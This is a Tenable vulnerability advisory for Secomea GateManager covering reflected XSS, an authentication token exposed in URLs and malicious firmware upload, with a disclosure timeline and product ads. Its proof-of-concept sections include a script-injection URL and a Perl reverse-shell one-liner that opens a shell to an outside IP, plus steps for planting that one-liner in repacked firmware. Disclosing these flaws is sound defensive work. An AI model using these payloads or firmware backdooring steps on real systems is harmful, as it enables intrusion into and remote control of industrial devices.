Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Secomea GateManager Multiple Vulnerabilities

High

Synopsis

Tenable has discovered multiple vulnerabilities in the Secomea products. We have been advised by Secomea to "expect that these vulnerabilities affect all Secomea vendors." As we determine the list of affected vendors, we will update this page. To our current knowledge, this list includes B&R Industrial Automation GmbH.

CVE-2020-29028: Reflected Cross-site Scripting

CVSSv3 Base Score: 6.1
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

The ‘op’ parameter on gui.cgi is reflected back in the response without sanitization. It is possible to inject arbitrary JavaScript code that will be executed in the user’s browser upon navigating to the crafted URL.

Proof of Concept

When the page is rendered at the below URL, javascript is executed resulting in the message ‘reflected xss’ being displayed.

https://192.168.0.186/lm/cgi/gui.cgi?op=<script>alert('reflected+xss')</script>&cert=local_ca.pem

CVE-2020-29030: Authentication Token Exposed in URL Path

CVSSv3 Base Score: 8.1
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Once authenticated to the Gatemanager the authentication token is, by default, exposed in all future POST/GET requests. This is dangerous as the URL path can be saved in the browser's history, passed through Referer headers to other websites, stored in web logs, or otherwise recorded in other sources. If the URL path contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Proof of Concept

In the below screenshot we can see that we can access restricted pages using only the authentication token appended to the path URL.

CVE-2020-29032: Authenticated Malicious Firmware Upload

CVSSv3 Base Score: 8.3
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

It is possible to upload a malicious firmware to the device. If a victim with service operator level permissions were tricked into uploading tampered firmware, a remote attacker could backdoor the device.

Proof of Concept

As a proof of concept I added the below perl reverse shell one-liner to the top of service.sh.

perl -e 'use Socket;$i="172.17.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

To do this I first extracted the update package which was a gzipped archive.

I then opened service.sh in a text editor and added the backdoor.

Then to repackage the firmware I ran the below command.

tar -zcvf Secomea_GateManager_Installer_v9.3.620453012.tgz .

Once uploaded this will result in a reverse shell being sent back to the attacker when the service is started.

Note: To reproduce this locally you will need to extract the contents of the firmware, modify the return IP address of the backdoor in service.sh and repack the firmware.

Solution

Upgrade to 9.4. See additional references for specific guidance.

Disclosure Timeline

12/08/2020 - Tenable sends vulnerability report to B&R. 90-day date is March 08, 2021.
12/08/2020 - B&R asks for our public key.
12/09/2020 - Tenable responds with our public key.
12/09/2020 - B&R thanks us for the report. They have started their vulnerability handling process and will keep us updated.
12/09/2020 - Tenable thanks B&R.
12/15/2020 - Secomea reaches out. Thanks us for pentesting their products and acknowledges process and deadlines. They provide some remediation details.
12/16/2020 - Tenable asks B&R if we can discuss the issue with Secomea.
12/17/2020 - B&R advises us to speak with Secomea.
12/17/2020 - Tenable asks Secomea for clarification.
12/17/2020 - B&R asks Secomea for clarification as well. Asks us to coordinate publishing activities so we can all publish at the same time.
12/17/2020 - Tenable restates disclosure policy.
12/18/2020 - Secomea sends a message.
12/18/2020 - B&R responds to Secomea message. They will wait for fixes before publishing an advisory.
12/18/2020 - Tenable asks Secomea to resend their message. We can't read it.
12/18/2020 - Secomea sends details of CVE assignments, affected models/versions, coordination request.
12/18/2020 - Tenable asks for clarification on affected vendors, models and versions. States intent to publish.
12/22/2020 - Secomea replies with clarification.
12/22/2020 - Tenable thanks Secomea.
01/04/2021 - Tenable asks for an update.
01/05/2021 - Secomea provides patching status update.
01/05/2021 - Tenable asks for clarification.
01/05/2021 - B&R asks for clarification from Secomea.
01/07/2021 - Secomea responds with mitigation details.
01/08/2021 - Tenable notifies vendors that we updated our advisory to include a mitigated vulnerability.
01/11/2021 - Secomea thanks Tenable for the update.
01/26/2021 - Tenable asks for an update.
02/01/2021 - Secomea provides an update. 9.4 is to be released at the end of this month.
02/01/2021 - Tenable thanks Secomea. Relays our current understanding.
02/19/2021 - Secomea provides more info
02/19/2021 - Tenable thanks Secomea. Asks for some clarification.
02/22/2021 - Tenable notifies Secomea of published advisory.
02/23/2021 - Secomea can't decrypt the email.
02/23/2021 - Tenable re-encrypts and resends the email.
02/23/2021 - B&R can read the message. However, there is a warning during decryption.
02/26/2021 - Secomea clarifies some points and asks us for clarification as well.
03/01/2021 - Tenable responds and asks for some more clarification.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-06
Credit:
Derrie Sutton
CVSSv3 Base / Temporal Score:
8.3 / 7.5
CVSSv3 Vector:
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products:
GateManager prior to 9.4
Risk Factor:
High

Advisory Timeline

02/22/2021 - Advisory published.
03/08/2021 - Per Secomea advisory: updated affected products, added CVE, updated references. Updated disclosure timeline.
03/26/2021 - Updated firmware upload CVSS per discussions with Secomea. Updated vuln description.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training